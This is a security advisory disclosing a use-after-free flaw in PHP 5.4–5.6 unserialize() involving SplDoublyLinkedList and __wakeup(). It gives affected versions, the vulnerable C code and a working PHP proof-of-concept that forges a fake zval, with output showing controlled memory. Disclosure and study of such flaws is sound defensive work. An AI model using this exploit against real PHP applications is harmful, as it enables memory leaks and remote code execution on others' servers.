Yet Another Use After Free Vulnerability in unserialize()with SplDoublyLinkedList
Taoguang Chen <[@chtg](http://github.com/chtg)>-
Write Date:2015.8.27
Release Date:2015.9.4
A use-after-free vulnerability was discovered in unserialize()with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
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Affected is PHP 5.6<5.6.13
Affected is PHP 5.5<5.5.29
Affected is PHP 5.4<5.4.45
Credits
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This vulnerability was disclosed by Taoguang Chen.
Description
------------while(*p ==':'){++p;
ALLOC_INIT_ZVAL(elem);if(!php_var_unserialize(&elem,&p, s + buf_len,&var_hash TSRMLS_CC)){
zval_ptr_dtor(&elem);
goto error;}
spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);}
It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R:or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.
Proof of Concept Exploit
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The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.<?php
classobj{
var $ryat;
function __wakeup(){
$this->ryat =1;}}
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .="\x00\x00\x00\x00";
$fakezval .="\x01";
$fakezval .="\x00";
$fakezval .="\x00\x00";
$inner ='i:1234;:i:1;';
$exploit ='a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
$data = unserialize($exploit);
var_dump($data);
function ptr2str($ptr){
$out ='';for($i =0; $i <8; $i++){
$out .=chr($ptr &0xff);
$ptr >>=8;}return $out;}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(5){[0]=>int(1)[1]=>&int(1)[2]=>object(obj)#2 (1) {["ryat"]=>&int(1)}[3]=>
array(1){[0]=>int(1122334455)<===so we can control the memory and create fake ZVAL :)}[4]=>
string(24)"?v?B????"}